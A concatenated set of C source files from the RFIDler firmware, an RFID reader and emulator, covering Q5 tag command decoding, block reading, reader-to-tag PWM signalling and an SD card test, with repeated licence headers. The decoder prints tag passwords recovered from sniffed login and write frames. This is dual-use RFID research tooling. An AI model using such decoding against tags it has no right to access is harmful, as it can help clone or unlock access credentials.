UserMessage("\r\n%s, DIRECT_ACCESS:", out);
else
{
UserMessage("\r\n%s, ?INVALID?", out);
break;
}
// PWD mode (should be 0))
UserMessage("%0.1s:", out + 2);
// ADDRESS
binstringtohex(tmp, out + 3);
UserMessage("%0.2s", tmp);
pwd= FALSE;
break;
// login (AOR followed by PWD)
case 34:
if(memcmp(out, Q5_AOR, 2) == 0)
UserMessage("\r\n%s, AOR:", out);
else
{
UserMessage("\r\n%s, ?INVALID?", out);
break;
}
// PWD
binstringtohex(tmp, out + 2);
UserMessage("%0.8s", tmp);
pwd= TRUE;
break;
// PWD read/ STD write
// note the only way to tell these apart is by knowing we are in PWD mode
case 38:
if(pwd && memcmp(out, Q5_DIRECT_ACCESS, 2) == 0)
{
UserMessage("\r\n%s, PWD_DIRECT_ACCESS:", out);
// PWD
binstringtohex(tmp, out + 2);
UserMessage("%0.8s:", tmp);
// Lock BIT
UserMessage("%0.1s:", out + 34);
// ADDRESS
binstringtohex(tmp, out + 35);
UserMessage("%0.1s", tmp);
break;
}
if(!pwd && memcmp(out, Q5_WRITE_P0, 2) == 0)
UserMessage("\r\n%s, WRITE_P0:", out);
else
{
UserMessage("\r\n%s, ?INVALID?", out);
break;
}
// Lock BIT
UserMessage("%0.1s:", out + 2);
// DATA
binstringtohex(tmp, out + 3);
UserMessage("%0.8s:", tmp);
// ADDRESS
binstringtohex(tmp, out + 35);
UserMessage("%0.1s", tmp);
break;
// PWD write
case 70:
if(memcmp(out, Q5_WRITE_P0, 2) == 0)
UserMessage("\r\n%s, PWD_WRITE_P0:", out);
else
{
UserMessage("\r\n%s, ?INVALID?", out);
break;
}
// PWD
binstringtohex(tmp, out + 2);
UserMessage("%0.8s:", tmp);
// Lock BIT
UserMessage("%0.1s:", out + 34);
// DATA
binstringtohex(tmp, out + 35);
UserMessage("%0.8s:", tmp);
// ADDRESS
binstringtohex(tmp, out + 67);
UserMessage("%0.1s", tmp);
pwd= TRUE;
break;
default:
UserMessage("\r\n%s, ?INVALID?", out);
break;
}
decoded= TRUE;
}
}
UserMessage("%s", "\r\n");
return decoded;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/read.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "em.h"
#include "rfidler.h"
#include "read.h"
#include "hitag.h"
#include "q5.h"
#include "t55x7.h"
#include "comms.h"
// read from start to end blocks. data will need to be large enough
// to hold all blocks.
BOOL read_tag(BYTE *data, unsigned int startblock, unsigned int endblock)
{
unsigned int i, p= 0;
for(i= startblock; i <= endblock ; ++i, ++p)
{
switch(RFIDlerConfig.TagType)
{
case TAG_TYPE_EM4X05:
if(!em4x05_read_word(data + p * HEXDIGITS(RFIDlerConfig.BlockSize), (BYTE) i))
return FALSE;
break;
case TAG_TYPE_HITAG1:
if (!hitag1_read_page(data + p * HEXDIGITS(RFIDlerConfig.BlockSize), (BYTE) i))
return FALSE;
break;
case TAG_TYPE_HITAG2:
if (!hitag2_read_page(data + p * HEXDIGITS(RFIDlerConfig.BlockSize), (BYTE) i))
return FALSE;
break;
case TAG_TYPE_Q5:
if(!q5_read_block(data + p * HEXDIGITS(RFIDlerConfig.BlockSize), (BYTE) i))
return FALSE;
break;
case TAG_TYPE_T55X7:
if(!t55x7_read_block(data + p * HEXDIGITS(RFIDlerConfig.BlockSize), (BYTE) i))
return FALSE;
break;
default:
return FALSE;
}
}
return TRUE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/rwd.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// bad stuff happens if this gets optimised!
#pragma GCC optimize("O0")
#include "HardwareProfile.h"
#include "rfidler.h"
#include "rwd.h"
#include "util.h"
// set default parameters for RWD PWM commands
void rwd_set_pwm(unsigned long fc, unsigned long sleep, unsigned int wake, unsigned int pw0, unsigned int pw1, unsigned int gap, unsigned int wait_txrx, unsigned int wait_rxtx)
{
RFIDlerConfig.FrameClock= fc;
RFIDlerConfig.RWD_Sleep_Period= sleep;
RFIDlerConfig.RWD_Wake_Period= wake;
RFIDlerConfig.RWD_Zero_Period= pw0;
RFIDlerConfig.RWD_One_Period= pw1;
RFIDlerConfig.RWD_Gap_Period= gap;
RFIDlerConfig.RWD_Wait_Switch_TX_RX= wait_txrx;
RFIDlerConfig.RWD_Wait_Switch_RX_TX= wait_rxtx;
}
// this routine accepts either binary arrays or binary strings
BOOL rwd_send(unsigned char *command, unsigned int length, BOOL reset, BOOL block, BYTE initial_state, unsigned int fc, unsigned int sleep, unsigned int wake, unsigned int pw0, unsigned int pw1, unsigned int gap, unsigned int post_wait)
{
unsigned int i;
RWD_Fc= fc;
// convert FCs to OCM ticks
RWD_Sleep_Period= sleep * 2;
RWD_Wake_Period= wake * 2;
RWD_Zero_Period= pw0 * 2;
RWD_One_Period= pw1 * 2;
RWD_Gap_Period= gap * 2;
RWD_Post_Wait= post_wait * 2;
if(!RWD_Zero_Period || !RWD_One_Period || !RWD_Gap_Period)
return FALSE;
// convert ascii string to bin if required
if(command[0] == '0' || command[0] == '1')
{
if(!binstringtobinarray(RWD_Command_Buff, command))
return FALSE;
}
else
memcpy(RWD_Command_Buff, command, length);
RWD_Command_Buff[length]= '*';
RWD_Command_ThisBit= RWD_Command_Buff;
// start clock and wait for TAG to wake if not already running
// this is needed in case a non-resetting RWD command is issued before any other action has woken tag
if(mGetLED_Clock() == mLED_OFF)
{
RWD_State= RWD_STATE_INACTIVE;
InitHWReaderClock(OC_TOGGLE_PULSE, RWD_Fc / 2L, RWD_Fc, RWD_State);
if(!reset)
Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wake_Period) / 100);
}
if(reset)
RWD_State= RWD_STATE_GO_TO_SLEEP;
else
RWD_State= initial_state;
// see if ISR has flagged RWD command finished
if(block)
while(RWD_State != RWD_STATE_ACTIVE)
;
return TRUE;
}
void rwd_test(BYTE *pass)
{
switch (RFIDlerConfig.TagType)
{
case TAG_TYPE_Q5:
q5_rwd_test(pass);
break;
case TAG_TYPE_HITAG2:
hitag2_test_rwd(1, 10, 18, 22, 26, 32, pass);
break;
case TAG_TYPE_T55X7:
t55x7_rwd_test(pass);
break;
default:
break;
}
}
// end optimisation
#pragma GCC reset_options
================================================
FILE: firmware/Pic32/RFIDler.X/src/sc.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
================================================
FILE: firmware/Pic32/RFIDler.X/src/sdcard.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "MDD File System/FSIO.h"
#include "sdcard.h"
#include "util.h"
#include "comms.h"
BOOL sdcard_test(BOOL quiet)
{
unsigned char attributes, tmp[13];
SearchRec rec;
BOOL found= FALSE;
if(!MDD_MediaDetect())
if(quiet)
return FALSE;
else
UserMessage("%s", "\r\nInsert card");
while(!MDD_MediaDetect())
if(get_user_abort())
return FALSE;
if(!quiet)
UserMessage("%s", "\r\nLoading Media");
while (!FSInit())
if(get_user_abort() || quiet)
return FALSE;
if(!quiet)
{
UserMessageNum("\r\nDetected SD Card size (sectors): %d", MDD_SDSPI_ReadCapacity());
UserMessageNum("\r\nSector size: %d", MDD_SDSPI_ReadSectorSize());
UserMessage("%s", "\r\nDirectory:\r\n\r\n");
}
attributes= ATTR_MASK;
if(!FindFirst("*.*", attributes, &rec))
do
{
found= TRUE;
if(quiet)
break;
memset(tmp, 0x00, 13);
memcpy(tmp, rec.filename, 12);
UserMessage("%s\t", tmp);
if(rec.attributes & ATTR_DIRECTORY)
UserMessage("%s\r\n", "(dir)");
else
UserMessageNum("%d\r\n", rec.filesize);
}
while(!FindNext(&rec));
return found;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/select.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
